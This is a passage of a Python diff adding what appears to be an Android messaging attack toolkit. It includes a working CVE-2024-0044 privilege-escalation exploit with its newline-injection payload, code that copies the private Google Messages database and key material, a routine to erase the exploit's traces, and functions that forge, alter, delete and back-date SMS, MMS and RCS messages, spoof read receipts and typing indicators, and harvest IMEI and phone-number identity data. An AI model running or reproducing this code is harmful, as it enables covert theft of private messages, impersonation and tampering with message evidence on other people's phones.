True, 'method': 'root', + 'files': files_pulled, + 'key_files': len(key_files), + 'path': str(extract_dir), + 'encrypted': True, + 'message': f'Extracted {len(files_pulled)} DB files + {len(key_files)} key/config files via root. ' + f'Database is encrypted — use key material from shared_prefs/ to decrypt.', + } + return {'ok': False, 'error': 'bugle_db not found via root'} + + def _extract_via_archon(self, extract_dir: Path) -> Dict[str, Any]: + """Extract RCS data via Archon app relay. + + This is the preferred method because Archon queries the database from + within the app context where it is already decrypted in memory. The + result is a JSON dump of decrypted messages, not the raw encrypted DB. + """ + staging = '/sdcard/Download/autarch_extract' + # Method A: Ask Archon to dump decrypted messages to JSON + broadcast_dump = ( + 'shell am broadcast -a com.darkhal.archon.DUMP_MESSAGES ' + f'--es output_dir {staging} ' + '--ez include_rcs true ' + '--ez include_sms true ' + '--ez include_mms true ' + 'com.darkhal.archon' + ) + result = self._run_adb(broadcast_dump) + if 'Broadcast completed' in result: + time.sleep(5) + # Pull the decrypted JSON dump + local_dump = str(extract_dir / 'messages_decrypted.json') + pull = self._run_adb(f'pull {staging}/messages.json {local_dump}') + if os.path.exists(local_dump) and os.path.getsize(local_dump) > 10: + self._shell(f'rm -rf {staging}') + return { + 'ok': True, 'method': 'archon_decrypted', + 'files': ['messages_decrypted.json'], + 'path': str(extract_dir), + 'encrypted': False, + 'message': 'Extracted decrypted messages via Archon app relay (database queried from app context)', + } + + # Method B: Fallback — ask Archon to copy raw DB + key material via Shizuku + broadcast_raw = ( + 'shell am broadcast -a com.darkhal.archon.EXTRACT_DB ' + '--es target_package com.google.android.apps.messaging ' + '--es database bugle_db ' + f'--es output_dir {staging} ' + '--ez include_keys true ' + 'com.darkhal.archon' + ) + result = self._run_adb(broadcast_raw) + if 'Broadcast completed' not in result: + return {'ok': False, 'error': 'Archon broadcast failed'} + + time.sleep(3) + + files_pulled = [] + for fname in ['bugle_db', 'bugle_db-wal', 'bugle_db-shm', 'encryption_key.bin', 'shared_prefs.tar']: + local_path = str(extract_dir / fname) + pull = self._run_adb(f'pull {staging}/{fname} {local_path}') + if os.path.exists(local_path) and os.path.getsize(local_path) > 0: + files_pulled.append(fname) + + self._shell(f'rm -rf {staging}') + + if files_pulled: + has_key = any('key' in f or 'prefs' in f for f in files_pulled) + return { + 'ok': True, 'method': 'archon_raw', + 'files': files_pulled, 'path': str(extract_dir), + 'encrypted': True, 'has_key_material': has_key, + 'message': f'Extracted {len(files_pulled)} files via Archon/Shizuku. ' + + ('Key material included.' if has_key else 'WARNING: No key material — DB is encrypted.'), + } + return {'ok': False, 'error': 'Archon extraction produced no files'} + + def _extract_via_adb_backup(self, extract_dir: Path) -> Dict[str, Any]: + """Extract via adb backup (deprecated on Android 12+ but may work).""" + backup_file = str(extract_dir / 'messaging.ab') + # Try backing up Google Messages + result = self._run_adb( + f'backup -nocompress com.google.android.apps.messaging', + timeout=60, + ) + # Also try telephony provider + result2 = self._run_adb( + f'backup -nocompress com.android.providers.telephony', + timeout=60, + ) + # Check if backup file was created + if os.path.exists(backup_file) and os.path.getsize(backup_file) > 100: + return { + 'ok': True, 'method': 'adb_backup', + 'files': ['messaging.ab'], 'path': str(extract_dir), + 'message': 'ADB backup created (may require user confirmation on device)', + 'note': 'Use extract_ab_file() to parse the .ab backup', + } + return {'ok': False, 'error': 'ADB backup not supported or user denied on device'} + + def query_bugle_db(self, sql: str) -> Dict[str, Any]: + """Run SQL query against a locally extracted bugle_db.""" + # Find the most recent extraction + extractions = sorted(self._extracted_dir.iterdir(), reverse=True) + db_path = None + for ext_dir in extractions: + candidate = ext_dir / 'bugle_db' + if candidate.exists(): + db_path = candidate + break + if not db_path: + return {'ok': False, 'error': 'No extracted bugle_db found. Run extract_bugle_db() first.'} + try: + conn = sqlite3.connect(str(db_path)) + conn.row_factory = sqlite3.Row + cursor = conn.execute(sql) + rows = [dict(r) for r in cursor.fetchall()] + conn.close() + return {'ok': True, 'rows': rows, 'count': len(rows), 'db_path': str(db_path)} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def extract_rcs_from_bugle(self) -> Dict[str, Any]: + """Extract only RCS messages from bugle_db (message_protocol >= 2).""" + sql = """ + SELECT m._id, m.conversation_id, m.sent_timestamp, m.received_timestamp, + m.message_protocol, m.message_status, m.read, + p.text AS body, p.content_type, p.uri AS attachment_uri, + c.name AS conversation_name, c.snippet_text, + ppl.normalized_destination AS phone_number, + ppl.full_name AS contact_name, + CASE WHEN ppl.sub_id = -2 THEN 'incoming' ELSE 'outgoing' END AS direction + FROM messages m + LEFT JOIN parts p ON m._id = p.message_id + LEFT JOIN conversations c ON m.conversation_id = c._id + LEFT JOIN conversation_participants cp ON cp.conversation_id = c._id + LEFT JOIN participants ppl ON cp.participant_id = ppl._id + WHERE m.message_protocol >= 2 + ORDER BY m.sent_timestamp DESC + """ + return self.query_bugle_db(sql) + + def extract_conversations_from_bugle(self) -> Dict[str, Any]: + """Full conversation export from bugle_db with all participants.""" + sql = """ + SELECT c._id, c.name, c.snippet_text, c.sort_timestamp, + c.last_read_timestamp, c.participant_count, c.archive_status, + GROUP_CONCAT(ppl.normalized_destination, '; ') AS participants, + GROUP_CONCAT(ppl.full_name, '; ') AS participant_names + FROM conversations c + LEFT JOIN conversation_participants cp ON c._id = cp.conversation_id + LEFT JOIN participants ppl ON cp.participant_id = ppl._id + GROUP BY c._id + ORDER BY c.sort_timestamp DESC + """ + return self.query_bugle_db(sql) + + def extract_message_edits(self) -> Dict[str, Any]: + """Get RCS message edit history from bugle_db.""" + sql = """ + SELECT me.message_id, me.latest_message_id, + me.original_rcs_messages_id, + me.edited_at_timestamp_ms, me.received_at_timestamp_ms, + p.text AS current_text + FROM message_edits me + LEFT JOIN messages m ON me.latest_message_id = m._id + LEFT JOIN parts p ON m._id = p.message_id + ORDER BY me.edited_at_timestamp_ms DESC + """ + return self.query_bugle_db(sql) + + def extract_all_from_bugle(self) -> Dict[str, Any]: + """Complete extraction of all messages, conversations, and participants from bugle_db.""" + result = {} + # Messages + sql_msgs = """ + SELECT m._id, m.conversation_id, m.sent_timestamp, m.received_timestamp, + m.message_protocol, m.message_status, m.read, m.seen, + p.text AS body, p.content_type, p.uri AS attachment_uri, + CASE m.message_protocol + WHEN 0 THEN 'SMS' WHEN 1 THEN 'MMS' ELSE 'RCS' + END AS protocol_name + FROM messages m + LEFT JOIN parts p ON m._id = p.message_id + ORDER BY m.sent_timestamp DESC + """ + msgs = self.query_bugle_db(sql_msgs) + result['messages'] = msgs.get('rows', []) if msgs.get('ok') else [] + + # Conversations + convos = self.extract_conversations_from_bugle() + result['conversations'] = convos.get('rows', []) if convos.get('ok') else [] + + # Participants + sql_parts = "SELECT * FROM participants ORDER BY _id" + parts = self.query_bugle_db(sql_parts) + result['participants'] = parts.get('rows', []) if parts.get('ok') else [] + + # Edits + edits = self.extract_message_edits() + result['edits'] = edits.get('rows', []) if edits.get('ok') else [] + + result['ok'] = True + result['total_messages'] = len(result['messages']) + result['total_conversations'] = len(result['conversations']) + result['total_participants'] = len(result['participants']) + + # Save to file + export_path = self._exports_dir / f'bugle_full_export_{datetime.now().strftime("%Y%m%d_%H%M%S")}.json' + with open(export_path, 'w') as f: + json.dump(result, f, indent=2, default=str) + result['export_path'] = str(export_path) + return result + + # ══════════════════════════════════════════════════════════════════════ + # §6 CVE-2024-0044 EXPLOIT + # ══════════════════════════════════════════════════════════════════════ + + def check_cve_2024_0044(self) -> Dict[str, Any]: + """Check if device is vulnerable to CVE-2024-0044 (run-as privilege escalation).""" + patch_info = self.get_security_patch_level() + result = { + 'cve': 'CVE-2024-0044', + 'description': RCS_CVES['CVE-2024-0044']['desc'], + 'android_version': patch_info.get('android_version', 'unknown'), + 'security_patch': patch_info.get('security_patch', 'unknown'), + 'vulnerable': patch_info.get('cve_2024_0044_vulnerable', False), + } + if result['vulnerable']: + result['message'] = ('Device appears vulnerable. Android 12/13 with security patch ' + f'before 2024-10-01 (current: {result["security_patch"]})') + else: + result['message'] = 'Device does not appear vulnerable to CVE-2024-0044' + return result + + def exploit_cve_2024_0044(self, target_package: str = 'com.google.android.apps.messaging') -> Dict[str, Any]: + """Execute CVE-2024-0044 run-as privilege escalation. + + This exploits a newline injection in PackageInstallerService to forge + a package entry, allowing run-as access to any app's private data. + Only works on Android 12-13 with security patch before October 2024. + """ + # Verify vulnerability + cve = self.check_cve_2024_0044() + if not cve.get('vulnerable'): + return {'ok': False, 'error': 'Device not vulnerable to CVE-2024-0044', 'details': cve} + + # Step 1: Get target app UID + uid_output = self._shell(f'pm list packages -U | grep {target_package}') + if self._is_error(uid_output) or target_package not in uid_output: + return {'ok': False, 'error': f'Package {target_package} not found'} + + uid_match = re.search(r'uid:(\d+)', uid_output) + if not uid_match: + return {'ok': False, 'error': 'Could not determine target UID'} + target_uid = uid_match.group(1) + + # Step 2: Create a minimal APK to push (we need any valid APK) + # Use an existing small APK from the device + apk_path = self._shell(f'pm path {target_package}') + if self._is_error(apk_path): + return {'ok': False, 'error': 'Cannot find target APK path'} + apk_path = apk_path.replace('package:', '').strip() + + # Copy to writable location + self._shell('cp /system/app/BasicDreams/BasicDreams.apk /data/local/tmp/exploit_carrier.apk 2>/dev/null') + # Fallback: use any small system apk + if 'error' in self._shell('ls /data/local/tmp/exploit_carrier.apk').lower(): + # Try another approach — use settings apk + self._shell('cp /system/priv-app/Settings/Settings.apk /data/local/tmp/exploit_carrier.apk 2>/dev/null') + + # Step 3: Craft the injection payload + victim_name = f'autarch_victim_{int(time.time())}' + payload = ( + f'@null\n' + f'{victim_name} {target_uid} 1 /data/user/0 ' + f'default:targetSdkVersion=28 none 0 0 1 @null' + ) + + # Step 4: Install with injected payload + install_result = self._shell( + f'pm install -i "{payload}" /data/local/tmp/exploit_carrier.apk', + timeout=15, + ) + + # Step 5: Verify access + verify = self._shell(f'run-as {victim_name} id') + if f'uid={target_uid}' in verify or 'u0_a' in verify: + self._cve_exploit_active = True + self._exploit_victim_name = victim_name + return { + 'ok': True, + 'message': f'CVE-2024-0044 exploit successful. run-as {victim_name} has UID {target_uid}', + 'victim_name': victim_name, + 'target_uid': target_uid, + 'target_package': target_package, + 'verify': verify, + } + return { + 'ok': False, + 'error': 'Exploit attempt did not achieve expected UID', + 'install_result': install_result, + 'verify': verify, + } + + def _extract_via_cve(self, extract_dir: Path) -> Dict[str, Any]: + """Extract bugle_db using CVE-2024-0044 exploit.""" + if not self._cve_exploit_active: + exploit = self.exploit_cve_2024_0044() + if not exploit.get('ok'): + return exploit + + victim = self._exploit_victim_name + staging = '/data/local/tmp/autarch_cve_extract' + self._shell(f'mkdir -p {staging}') + self._shell(f'chmod 777 {staging}') + + # Use run-as to access and copy databases + for suffix in ['', '-wal', '-shm', '-journal']: + fname = f'bugle_db{suffix}' + for db_base in BUGLE_DB_PATHS: + src = f'{db_base}{suffix}' + self._shell( + f'run-as {victim} sh -c "cat {src}" > {staging}/{fname} 2>/dev/null' + ) + + # Pull extracted files + files_pulled = [] + for suffix in ['', '-wal', '-shm', '-journal']: + fname = f'bugle_db{suffix}' + local_path = str(extract_dir / fname) + pull = self._run_adb(f'pull {staging}/{fname} {local_path}') + if os.path.exists(local_path) and os.path.getsize(local_path) > 0: + files_pulled.append(fname) + + # Cleanup + self._shell(f'rm -rf {staging}') + + if files_pulled: + return { + 'ok': True, 'method': 'cve-2024-0044', + 'files': files_pulled, 'path': str(extract_dir), + 'message': f'Extracted {len(files_pulled)} files via CVE-2024-0044', + } + return {'ok': False, 'error': 'CVE extract produced no files'} + + def cleanup_cve_exploit(self) -> Dict[str, Any]: + """Remove traces of CVE-2024-0044 exploit.""" + results = [] + if self._exploit_victim_name: + # Uninstall the forged package + out = self._shell(f'pm uninstall {self._exploit_victim_name}') + results.append(f'Uninstall {self._exploit_victim_name}: {out}') + # Remove staging files + self._shell('rm -f /data/local/tmp/exploit_carrier.apk') + self._shell('rm -rf /data/local/tmp/autarch_cve_extract') + self._cve_exploit_active = False + self._exploit_victim_name = None + return {'ok': True, 'cleanup': results} + + # ══════════════════════════════════════════════════════════════════════ + # §7 MESSAGE FORGING + # ══════════════════════════════════════════════════════════════════════ + + def forge_sms(self, address: str, body: str, msg_type: int = MSG_TYPE_INBOX, + timestamp: Optional[int] = None, contact_name: Optional[str] = None, + read: int = 1) -> Dict[str, Any]: + if not address or not body: + return {'ok': False, 'error': 'Address and body are required'} + ts = timestamp or self._ts_ms() + bindings = { + 'address': address, + 'body': body, + 'type': msg_type, + 'date': ts, + 'date_sent': ts, + 'read': read, + 'seen': 1, + } + result = self._content_insert(SMS_URI, bindings) + if self._is_error(result): + return {'ok': False, 'error': result} + entry = { + 'address': address, 'body': body, 'type': msg_type, + 'timestamp': ts, 'contact_name': contact_name, + 'action': 'forge_sms', 'time': datetime.now().isoformat(), + } + self._forged_log.append(entry) + return {'ok': True, 'message': 'SMS forged successfully', 'details': entry} + + def forge_mms(self, address: str, subject: str = '', body: str = '', + msg_box: int = MMS_BOX_INBOX, timestamp: Optional[int] = None) -> Dict[str, Any]: + if not address: + return {'ok': False, 'error': 'Address required'} + ts = timestamp or int(time.time()) + bindings = { + 'msg_box': msg_box, + 'date': ts, + 'read': 1, + 'seen': 1, + } + if subject: + bindings['sub'] = subject + result = self._content_insert(MMS_URI, bindings) + if self._is_error(result): + return {'ok': False, 'error': result} + entry = { + 'address': address, 'subject': subject, 'body': body, + 'action': 'forge_mms', 'time': datetime.now().isoformat(), + } + self._forged_log.append(entry) + return {'ok': True, 'message': 'MMS forged', 'details': entry} + + def forge_rcs(self, address: str, body: str, msg_type: int = MSG_TYPE_INBOX, + timestamp: Optional[int] = None) -> Dict[str, Any]: + """Forge an RCS message. + + Attempts content://rcs/ provider first, falls back to Archon relay + for direct bugle_db insertion. + """ + if not address or not body: + return {'ok': False, 'error': 'Address and body required'} + ts = timestamp or self._ts_ms() + + # Try AOSP RCS provider + bindings = { + 'rcs_text': body, + 'origination_timestamp': ts, + } + result = self._content_insert(f'{RCS_P2P_THREAD_URI}/0/incoming_message', bindings) + if not self._is_error(result) and 'SecurityException' not in result: + entry = { + 'address': address, 'body': body, 'type': msg_type, + 'timestamp': ts, 'method': 'rcs_provider', + 'action': 'forge_rcs', 'time': datetime.now().isoformat(), + } + self._forged_log.append(entry) + return {'ok': True, 'message': 'RCS message forged via provider', 'details': entry} + + # Fallback: Archon relay + broadcast = ( + f'shell am broadcast -a com.darkhal.archon.FORGE_RCS ' + f'--es address "{address}" ' + f'--es body "{body}" ' + f'--ei type {msg_type} ' + f'--el timestamp {ts} ' + f'com.darkhal.archon' + ) + result = self._run_adb(broadcast) + method = 'archon' if 'Broadcast completed' in result else 'failed' + entry = { + 'address': address, 'body': body, 'type': msg_type, + 'timestamp': ts, 'method': method, + 'action': 'forge_rcs', 'time': datetime.now().isoformat(), + } + self._forged_log.append(entry) + if method == 'archon': + return {'ok': True, 'message': 'RCS message forged via Archon', 'details': entry} + return {'ok': False, 'error': 'RCS forging requires Archon app or elevated access'} + + def forge_conversation(self, address: str, messages: List[Dict], + contact_name: Optional[str] = None) -> Dict[str, Any]: + if not address or not messages: + return {'ok': False, 'error': 'Address and messages required'} + results = [] + for msg in messages: + body = msg.get('body', '') + msg_type = int(msg.get('type', MSG_TYPE_INBOX)) + ts = msg.get('timestamp') + if ts: + ts = int(ts) + r = self.forge_sms(address, body, msg_type, ts, contact_name) + results.append(r) + ok_count = sum(1 for r in results if r.get('ok')) + return { + 'ok': ok_count > 0, + 'message': f'Forged {ok_count}/{len(messages)} messages', + 'results': results, + } + + def bulk_forge(self, messages_list: List[Dict]) -> Dict[str, Any]: + results = [] + for msg in messages_list: + r = self.forge_sms( + address=msg.get('address', ''), + body=msg.get('body', ''), + msg_type=int(msg.get('type', MSG_TYPE_INBOX)), + timestamp=int(msg['timestamp']) if msg.get('timestamp') else None, + contact_name=msg.get('contact_name'), + read=int(msg.get('read', 1)), + ) + results.append(r) + ok_count = sum(1 for r in results if r.get('ok')) + return {'ok': ok_count > 0, 'forged': ok_count, 'total': len(messages_list)} + + def import_sms_backup_xml(self, xml_content: str) -> Dict[str, Any]: + """Import SMS from SMS Backup & Restore XML format.""" + try: + root = ET.fromstring(xml_content) + except ET.ParseError as e: + return {'ok': False, 'error': f'Invalid XML: {e}'} + count = 0 + errors = [] + for sms_elem in root.findall('.//sms'): + address = sms_elem.get('address', '') + body = sms_elem.get('body', '') + msg_type = int(sms_elem.get('type', '1')) + date = sms_elem.get('date') + read = int(sms_elem.get('read', '1')) + if not address: + continue + ts = int(date) if date else None + result = self.forge_sms(address, body, msg_type, ts, read=read) + if result.get('ok'): + count += 1 + else: + errors.append(result.get('error', 'unknown')) + return { + 'ok': count > 0, + 'imported': count, + 'errors': len(errors), + 'error_details': errors[:10], + } + + # ══════════════════════════════════════════════════════════════════════ + # §8 MESSAGE MODIFICATION + # ══════════════════════════════════════════════════════════════════════ + + def modify_message(self, msg_id: int, new_body: Optional[str] = None, + new_timestamp: Optional[int] = None, new_type: Optional[int] = None, + new_read: Optional[int] = None) -> Dict[str, Any]: + bindings = {} + if new_body is not None: + bindings['body'] = new_body + if new_timestamp is not None: + bindings['date'] = new_timestamp + if new_type is not None: + bindings['type'] = new_type + if new_read is not None: + bindings['read'] = new_read + if not bindings: + return {'ok': False, 'error': 'No modifications specified'} + result = self._content_update(f'{SMS_URI}{msg_id}', bindings) + if self._is_error(result): + return {'ok': False, 'error': result} + return {'ok': True, 'message': f'Message {msg_id} modified', 'changes': bindings} + + def delete_message(self, msg_id: int) -> Dict[str, Any]: + result = self._content_delete(f'{SMS_URI}{msg_id}') + if self._is_error(result): + return {'ok': False, 'error': result} + return {'ok': True, 'message': f'Message {msg_id} deleted'} + + def delete_conversation(self, thread_id: int) -> Dict[str, Any]: + result = self._content_delete(SMS_URI, where=f'thread_id={thread_id}') + if self._is_error(result): + return {'ok': False, 'error': result} + return {'ok': True, 'message': f'Thread {thread_id} deleted'} + + def change_sender(self, msg_id: int, new_address: str) -> Dict[str, Any]: + result = self._content_update(f'{SMS_URI}{msg_id}', {'address': new_address}) + if self._is_error(result): + return {'ok': False, 'error': result} + return {'ok': True, 'message': f'Message {msg_id} sender changed to {new_address}'} + + def shift_timestamps(self, address: str, offset_minutes: int) -> Dict[str, Any]: + safe_addr = address.replace("'", "''") + msgs = self._content_query(SMS_URI, projection='_id:date', + where=f"address='{safe_addr}'") + modified = 0 + offset_ms = offset_minutes * 60 * 1000 + for msg in msgs: + msg_id = msg.get('_id') + old_date = msg.get('date') + if msg_id and old_date: + new_date = int(old_date) + offset_ms + r = self._content_update(f'{SMS_URI}{msg_id}', {'date': new_date}) + if not self._is_error(r): + modified += 1 + return {'ok': modified > 0, 'modified': modified, 'total': len(msgs)} + + def mark_all_read(self, thread_id: Optional[int] = None) -> Dict[str, Any]: + where = f'thread_id={thread_id} AND read=0' if thread_id else 'read=0' + result = self._content_update(SMS_URI, {'read': 1}, where=where) + if self._is_error(result): + return {'ok': False, 'error': result} + return {'ok': True, 'message': 'Messages marked as read'} + + def wipe_thread(self, thread_id: int) -> Dict[str, Any]: + # Delete from both SMS and MMS + r1 = self._content_delete(SMS_URI, where=f'thread_id={thread_id}') + r2 = self._content_delete(MMS_URI, where=f'thread_id={thread_id}') + return {'ok': True, 'sms_result': r1, 'mms_result': r2, + 'message': f'Thread {thread_id} wiped'} + + # ══════════════════════════════════════════════════════════════════════ + # §9 RCS EXPLOITATION + # ══════════════════════════════════════════════════════════════════════ + + def read_rcs_features(self, address: str) -> Dict[str, Any]: + """Check RCS capabilities for a phone number.""" + # Try dumpsys for RCS capability info + output = self._shell(f'dumpsys telephony_ims') + features = {'address': address, 'rcs_capable': False, 'features': []} + if output and not self._is_error(output): + if address in output: + features['rcs_capable'] = True + # Parse UCE capabilities + for line in output.splitlines(): + if 'capability' in line.lower() or 'uce' in line.lower(): + features['features'].append(line.strip()) + # Also try Archon query + broadcast = ( + f'shell am broadcast -a com.darkhal.archon.CHECK_RCS_CAPABLE ' + f'--es address "{address}" com.darkhal.archon' + ) + self._run_adb(broadcast) + return {'ok': True, **features} + + def spoof_rcs_read_receipt(self, msg_id: str) -> Dict[str, Any]: + """Spoof a read receipt for an RCS message.""" + # Via content provider update + result = self._content_update( + f'content://rcs/p2p_thread/0/incoming_message/{msg_id}', + {'seen_timestamp': self._ts_ms()}, + ) + if not self._is_error(result) and 'SecurityException' not in result: + return {'ok': True, 'message': f'Read receipt spoofed for message {msg_id}'} + # Fallback: Archon + broadcast = ( + f'shell am broadcast -a com.darkhal.archon.SPOOF_READ_RECEIPT ' + f'--es msg_id "{msg_id}" com.darkhal.archon' + ) + r = self._run_adb(broadcast) + return { + 'ok': 'Broadcast completed' in r, + 'message': 'Read receipt spoof attempted via Archon', + } + + def spoof_rcs_typing(self, address: str) -> Dict[str, Any]: + """Send a fake typing indicator via Archon.""" + broadcast = ( + f'shell am broadcast -a com.darkhal.archon.SPOOF_TYPING ' + f'--es address "{address}" com.darkhal.archon' + ) + r = self._run_adb(broadcast) + return { + 'ok': 'Broadcast completed' in r, + 'message': f'Typing indicator spoofed to {address}', + } + + def enumerate_rcs_providers(self) -> Dict[str, Any]: + """Discover all accessible messaging content providers on the device.""" + return self.enumerate_providers() + + def clone_rcs_identity(self) -> Dict[str, Any]: + """Extract RCS registration/identity data for cloning.""" + identity = {} + # Get IMSI/ICCID + identity['imei'] = self._shell('service call iphonesubinfo 1 | grep -o "[0-9a-f]\\{8\\}" | tail -n+2 | head -4') + identity['phone_number'] = self._shell('service call iphonesubinfo 15 | grep -o "[0-9a-f]\\{8\\}" | tail -n+2 | head -4') + # Get RCS provisioning state + for pkg in MESSAGING_PACKAGES: + sp_dir = f'/data/data/{pkg}/shared_prefs/' + files = self._shell(f'run-as {self._exploit_victim_name} ls {sp_dir} 2>/dev/null') \ + if self._cve_exploit_active else '' + if files and not self._is_error(files): + identity[f'{pkg}_shared_prefs'] = files.splitlines() + # Get SIM info + identity['sim_operator'] = self._shell('getprop gsm.sim.operator.alpha') + identity['sim_country'] = self._shell('getprop gsm.sim.operator.iso-country') + identity['network_type'] = self._shell('getprop gsm.network.type') + return {'ok': True, 'identity': identity} + + def extract_rcs_media(self, msg_id: str) -> Dict[str, Any]: + """Extract media files from RCS messages.""" + # Check MMS parts for media + parts = self._content_query( + f'content://mms/{msg_id}/part', + projection='_id:mid:ct:_data:name', + ) + media_files = [] + for part in parts: + ct = part.get('ct', '') + if ct and ct != 'text/plain' and ct != 'application/smil': + data_path = part.get('_data', '') + if data_path: + # Pull the file + local_name = f"media_{msg_id}_{part.get('_id', 'unknown')}" + ext = ct.split('/')[-1] if '/' in ct else 'bin' + local_path = str(self._exports_dir / f'{local_name}.{ext}') + pull = self._run_adb(f'pull {data_path} {local_path}') + if os.path.exists(local_path): + media_files.append({ + 'content_type': ct, + 'local_path': local_path, + 'device_path': data_path, + 'name': part.get('name', ''), + }) + return {'ok': True, 'media': media_files, 'count': len(media_files)} + + def intercept_archival_broadcast(self) -> Dict[str, Any]: + """Set up interception of GOOGLE_MESSAGES_ARCHIVAL_UPDATE broadcasts. + + This is the enterprise archival broadcast that Google Messages sends + when messages are sent, received, edited, or deleted on managed devices. + """ + # Register a broadcast receiver via Archon + broadcast = ( + 'shell am broadcast -a com.darkhal.archon.REGISTER_ARCHIVAL_LISTENER ' + 'com.darkhal.archon' + ) + r = self._run_adb(broadcast) + info = { + 'broadcast_action': ARCHIVAL_BROADCAST_ACTION, + 'uri_extra_key': ARCHIVAL_URI_EXTRA, + 'note': 'Requires fully managed device with Google Messages as default SMS app', + 'requirement': 'MCM config: messages_archival = com.darkhal.archon', + } + return { + 'ok': 'Broadcast completed' in r, + 'message': 'Archival listener registration attempted', + 'info': info, + } + + def extract_signal_protocol_state(self) -> Dict[str, Any]: + """Extract E2EE Signal Protocol session state (requires elevated access).""" + if not self._cve_exploit_active: + return { + 'ok': False, + 'error': 'Requires CVE-2024-0044 exploit or root access', + 'note': 'Signal Protocol keys are in ' + '/data/data/com.google.android.apps.messaging/files/ ' + 'but master key is in Android Keystore (hardware-backed, not extractable via ADB)', + } + victim = self._exploit_victim_name + # List files in the messaging app's files directory + files = self._shell( + f'run-as {victim} ls -la /data/data/com.google.android.apps.messaging/files/' + ) + # List shared_prefs + prefs = self._shell( + f'run-as {victim} ls -la /data/data/com.google.android.apps.messaging/shared_prefs/' + ) + return { + 'ok': True, + 'files_dir': files.splitlines() if files and not self._is_error(files) else [], + 'shared_prefs': prefs.splitlines() if prefs and not self._is_error(prefs) else [], + 'note': 'Session keys found but master encryption key is hardware-backed in Android Keystore', + } + + def get_rcs_cve_database(self) -> Dict[str, Any]: + """Return known CVEs affecting RCS/Android messaging.""" + return {'ok': True, 'cves': RCS_CVES, 'count': len(RCS_CVES)} + + # ══════════════════════════════════════════════════════════════════════ + # §10 DATABASE BACKUP & CLONE + # ══════════════════════════════════════════════════════════════════════ + + def full_backup(self, fmt: str = 'json') -> Dict[str, Any]: + """Complete SMS/MMS/RCS backup.""" + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + + # Get SMS + sms = self.read_sms_database(limit=10000) + # Get MMS + mms = self.read_mms_database(limit=5000) + # Get conversations + convos = self.read_conversations(limit=1000) + # Try RCS provider + rcs = self.read_rcs_provider() + + backup = { + 'timestamp': timestamp, + 'device': self.get_device_info(), + 'sms': sms, + 'mms': mms, + 'conversations': convos, + 'rcs': rcs if rcs.get('ok') else {}, + 'stats': { + 'sms_count': len(sms), + 'mms_count': len(mms), + 'conversation_count': len(convos), + }, + } + + if fmt == 'xml': + backup_path = self._backups_dir / f'backup_{timestamp}.xml' + self._write_sms_backup_xml(sms, str(backup_path)) + else: + backup_path = self._backups_dir / f'backup_{timestamp}.json' + with open(backup_path, 'w') as f: + json.dump(backup, f, indent=2, default=str) + + return { + 'ok': True, + 'path': str(backup_path), + 'stats': backup['stats'], + 'message': f'Backup saved to {backup_path}', + } + + def _write_sms_backup_xml(self, messages: List[Dict], path: str): + """Write SMS Backup & Restore compatible XML.""" + root = ET.Element('smses', count=str(len(messages))) + for msg in messages: + attrs = { + 'protocol': str(msg.get('protocol', '0') or '0'), + 'address': str(msg.get('address', '') or ''), + 'date': str(msg.get('date', '') or ''), + 'type': str(msg.get('type', '1') or '1'), + 'body': str(msg.get('body', '') or ''), + 'read': str(msg.get('read', '1') or '1'), + 'status': str(msg.get('status', '-1') or '-1'), + 'locked': str(msg.get('locked', '0') or '0'), + 'date_sent': str(msg.get('date_sent', '0') or '0'), + 'readable_date': str(msg.get('date_formatted', '') or ''), + 'contact_name': str(msg.get('contact_name', '(Unknown)') or '(Unknown)'), + } + ET.SubElement(root, 'sms', **attrs) + tree = ET.ElementTree(root) + ET.indent(tree, space=' ') + tree.write(path, encoding='unicode', xml_declaration=True) + + def full_restore(self, backup_path: str) -> Dict[str, Any]: + """Restore messages from a backup file.""" + path = Path(backup_path) + if not path.exists(): + # Check in backups dir + path = self._backups_dir / backup_path + if not path.exists(): + return {'ok': False, 'error': f'Backup file not found: {backup_path}'} + + if path.suffix == '.xml': + with open(path, 'r') as f: + return self.import_sms_backup_xml(f.read()) + elif path.suffix == '.json': + with open(path, 'r') as f: + backup = json.load(f) + sms = backup.get('sms', []) + if not sms: + return {'ok': False, 'error': 'No SMS messages in backup'} + return self.bulk_forge(sms) + return {'ok': False, 'error': f'Unsupported format: {path.suffix}'} + + def clone_to_device(self) -> Dict[str, Any]: + """Clone all messages from current device backup to another device. + + Steps: 1) Run full_backup on source, 2) Connect target device, + 3) Run full_restore with the backup file. + """ + backup = self.full_backup() + if not backup.get('ok'): + return backup + return { + 'ok': True, + 'message': 'Backup created. Connect target device and call full_restore()', + 'backup_path': backup['path'], + 'stats': backup['stats'], + } + + def export_messages(self, address: Optional[str] = None, fmt: str = 'json') -> Dict[str, Any]: + """Export messages to JSON, CSV, or XML.""" + if address: + msgs = self.get_messages_by_address(address) + else: + msgs = self.read_sms_database(limit=10000) + + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + suffix = f'_{address}' if address else '_all' + + if fmt == 'csv': + export_path = self._exports_dir / f'export{suffix}_{timestamp}.csv' + with open(export_path, 'w', newline='') as f: + if msgs: + writer = csv.DictWriter(f, fieldnames=msgs[0].keys()) + writer.writeheader() + writer.writerows(msgs) + elif fmt == 'xml': + export_path = self._exports_dir / f'export{suffix}_{timestamp}.xml' + self._write_sms_backup_xml(msgs, str(export_path)) + else: + export_path = self._exports_dir / f'export{suffix}_{timestamp}.json' + with open(export_path, 'w') as f: + json.dump(msgs, f, indent=2, default=str) + + return { + 'ok': True, + 'path': str(export_path), + 'count': len(msgs), + 'format': fmt, + } + + def list_backups(self) -> Dict[str, Any]: + """List all backup files.""" + backups = [] + for f in sorted(self._backups_dir.iterdir(), reverse=True): + if f.is_file(): + backups.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat(), + }) + return {'ok': True, 'backups': backups, 'count': len(backups)} + + def list_exports(self) -> Dict[str, Any]: + """List all exported files.""" + exports = [] + for f in sorted(self._exports_dir.iterdir(), reverse=True): + if f.is_file(): + exports.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat(), + }) + return {'ok': True, 'exports': exports, 'count': len(exports)} + + def list_extracted_dbs(self) -> Dict[str, Any]: + """List extracted database snapshots.""" + extractions = [] + for d in sorted(self._extracted_dir.iterdir(), reverse=True): + if d.is_dir(): + files = [f.name for f in d.iterdir()] + total_size = sum(f.stat().st_size for f in d.iterdir() if f.is_file()) + extractions.append({ + 'name': d.name, + 'path': str(d), + 'files': files, 